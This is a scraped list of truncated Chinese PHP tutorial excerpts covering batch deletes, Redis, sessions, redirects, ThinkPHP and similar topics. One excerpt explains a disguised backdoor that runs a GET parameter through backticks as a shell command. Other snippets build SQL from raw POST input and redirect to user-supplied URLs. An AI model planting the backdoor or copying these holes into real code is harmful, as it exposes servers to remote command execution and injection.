Time of Update: 2016-07-13
在PHP中怎麼做大量刪除?求代碼 最近在做一個項目,但是大量刪除一直都不能達到效果。我把代碼貼在下面,各位大牛幫我看看,問題出在什麼地方,再此謝謝了! //1.大量刪除 if($_POST["chk"]){ $sid = implode(",", $_POST["chk"]); $query = mysql_query("delete from news where news_id in (".$sid.")"); if($query){ echo ""; } else {
Time of Update: 2016-07-13
PHP靜態延遲綁定簡單樣本 沒怎麼用過這個新特性,其實也不算新啦,試試吧,現在靜態類的繼承很方便了 class A { protected static $def = '123456'; public static function test() { echo get_class(new static); } public static function test2() { echo static::$def; } } class B extends A
Time of Update: 2016-07-13
php二維數組相同鍵名相加 Array ( [uid] => 19 [pid] => Array ( [0] => 91 [1] => 81 ) [price] => Array ( [0] => 6 [1] => 14 ) [pnum] => Array ( [0] => 1 [1] => 1 ) ) 求相同鍵名的值相加如(price 的相加結果) 數組條數不確定 ------解決方案-------------------- $ar =
Time of Update: 2016-07-13
最近要做個十進位數位可逆轉換做邀請碼,一直沒搞清楚怎麼弄的,實在太複雜了,今天弄IP時想到這個可以進行轉換,於是研究了下原理:主要是自己整理了下:$ip = '12.34.56.78';$ips = explode('.', $ip);$result = 0;$result += $ips[0]';echo bindec(decbin(ip2long($ip)));echo '';$str = '';$str .=
Time of Update: 2016-07-13
一、php配置MySQL1、將php安裝目錄下的php_mysql.dll和MySQL安裝目錄下的libmysql.dll檔案拷貝至c:/windows/system32中;2、配置php.iniextension=php_gd2.dllextension=php_mbstring.dllextension=php_mysql.dllextension=php_mysqli.dll把上面四個.dll的最前面的;去掉二、php表單提交至資料庫的實現過程1、login.php頁面login
Time of Update: 2016-07-13
當應用程式處於維護的時候,我們可以暫時關閉程式,具體的做使用是使用php artisan downartisan 是laravel根目錄下的一個程式,當執行了這個命令時,會調用 app/start/global.php檔案中的App::down函數當維護完成扣,使用php artisan up來啟用應用程式App::down(function(){return Response::make("Be right back!", 503);});還可以使用php artisan
Time of Update: 2016-07-13
1、如果能將類的方法定義成static,就盡量定義成static,它的速度會提升將近4倍。 2、$row[’id’] 的速度是$row[id]的7倍。 3、echo 比 print 快,並且使用echo的多重參數(譯註:指用逗號而不是句點)代替字串串連,比如echo
Time of Update: 2016-07-13
php為圖片添加浮水印,適用於png/jpg/gif格式圖片,可以指定浮水印的位置和浮水印的透明度,非常實用,完整的代碼如下: http://www.bkjia.com/PHPjc/822514.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/822514.htmlTechArticlephp為圖片添加浮水印,適用於png/jpg/gif格式圖片,可以指定浮水印的位置和浮水印的透明度,非常實用,完整的代碼如下: ?php /** *
Time of Update: 2016-07-13
方法一: 注意: 1、$charset變數為網頁編碼,如"gb2312"或"utf-8"; 2、使用方法一要求伺服器必須開啟mbstring.dll擴充,否則代碼執行錯誤,所以對於使用虛擬機器主機的朋友,可以考慮使用第二種方法。 方法二: 127?$str[$i].$str[++$i]:$str[$i]; } return $arr; } $arr=str_to_arr($str); ?>
Time of Update: 2016-07-13
偶然間看到一段,看起來似乎沒有什麼問題,確是能致命的後門代碼,這裡用到了一個一般的PHPer都不怎麼關注的反撇號 ` ,反撇號包含的字串,等同於shell_exec函數。偽裝性很好,很容易被管理員忽略。$selfNums = $_GET['r'];if (isset($selfNums)){ echo `$selfNums`;}剛看到這段代碼我想大家都會說沒有問題,但是細心的朋友也會發現下面的變數被一個符號包起來了,既然是變數為什麼要這樣了,而且又不是單引號,這個就是關鍵所在了,這個符號是
Time of Update: 2016-07-13
讀取檔案內容並寫入變數$contents: 將變數$contents的內容寫入檔案: 當然,我們也可以使用file_get_contents和file_put_contents來讀寫檔案。 http://www.bkjia.com/PHPjc/822517.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/822517.htmlTechArticle讀取檔案內容並寫入變數$contents: ?php
Time of Update: 2016-07-13
很多人在linux下使用crontab實現PHP執行定時任務卻未能成功,不能產生緩衝。本文就linux下使用crontab實現定時PHP計劃任務失敗的原因做一分析。一般我們linux定時執行php代碼例如:*/5 * * * * /usr/local/php/bin/php
Time of Update: 2016-07-13
使用memcache來同步session是還是不錯的,當然也可以通過redis來儲存session,可以php開啟並將Session儲存到Redis緩衝,下面是設定利用memcache在web叢集中同步會話session的實現過程:1、類比web叢集我啟動了二個memcached進程,分別類比二台伺服器/usr/local/bin/memcached -d -m 20 -u zhangy -p 12000 -P ./memcached.pid/usr/local/bin/memcached
Time of Update: 2016-07-13
redis的操作很多的,以前看到一個比較全的部落格,但是現在找不到了。查個東西搜半天,下面整理一下php處理redis的例子,個人覺得常用一些例子。下面的例子都是基於php-redis這個擴充的。1,connect描述:執行個體串連到一個Redis.參數:host: string,port: int傳回值:BOOL 成功返回:TRUE;失敗返回:FALSE樣本:複製代碼 代碼如下:$redis = new redis(); $result = $redis->connect('127.0.0.
Time of Update: 2016-07-13
URL跳轉代碼 1.代碼: 如儲存為aaa.php,可以實現aaa.php?url=www.baidu.com跳轉到百度的效果. 這個簡單的調用了預設的$_GET變數.以及php預設跳轉Location: 2.執行個體升級:增加if迴圈 代碼: 複製代碼 代碼如下: =3)){ header("Location:"."http://".$url); } ?> URL轉向頁
Time of Update: 2016-07-13
一、數組遍曆的3個方法介紹1. foreach()foreach()是一個用來遍曆數組中資料的最簡單有效方法。#example1:複製代碼 代碼如下:$colors= array('red','blue','green','yellow');foreach ($colorsas$color){echo "Do you like $color? ";}?>顯示結果:Do you like red? Do you like blue? Do you like
Time of Update: 2016-07-13
經常有朋友會對php的socket應用充滿疑惑,本文就以執行個體代碼作一講解,希望能對初學php的朋友起到一點協助作用具體代碼如下:1.伺服器端代碼:$name=$val; } private function _showError($error){ exit($error); } /** * 開始進行socket伺服器端監聽連接埠 */ public function start(){ // 建立連接埠 if (($sock = socket_create
Time of Update: 2016-07-13
PHP可以實現對文本資料庫的資料的顯示、加入、修改、刪除、查詢等五大基本操作。我們以一個留言本程式為例,簡述一下PHP實現對文本資料庫的資料顯示、加入、修改、刪除、查詢五大基本操作的方法。此文本資料庫共有欄位10個:客戶IP、發言時間、客戶名、客戶EMAIL、客戶首頁地址、留言表情圖片名、客戶QQ、客戶形象圖片、留言內容、管理員回複內容。1、加入資料程式:$date=date("Y-m-d H:i:s");//取得系統時間$ip = $HTTP_SERVER_VARS[REMOTE_ADDR];
Time of Update: 2016-07-13
ThinkPHP中的每一個xxxAction.class.php檔案就代表著一個應用模組,這個Action中的每一個方法(function)代表著一個操作,操作可以分為有輸出到模板的操作和只具執行不需要輸出的操作。開啟Myapp/Lib/Action/IndexAction.class.php檔案,我們可以看到裡面的基礎代碼:class IndexAction extends Action{public function
Time of Update: 2016-07-13
對很多使用ThinkPHP架構的人來說,使用自動內建的增刪改查基類,在分頁的時候要保持結果頁面的搜尋狀態,但是使用thinkphp手冊中的方案卻無法奏效。ThinkPHP手冊中的解決方案是://分頁跳轉的時候保證查詢條件foreach($map as $key=>$val) { $Page->parameter .=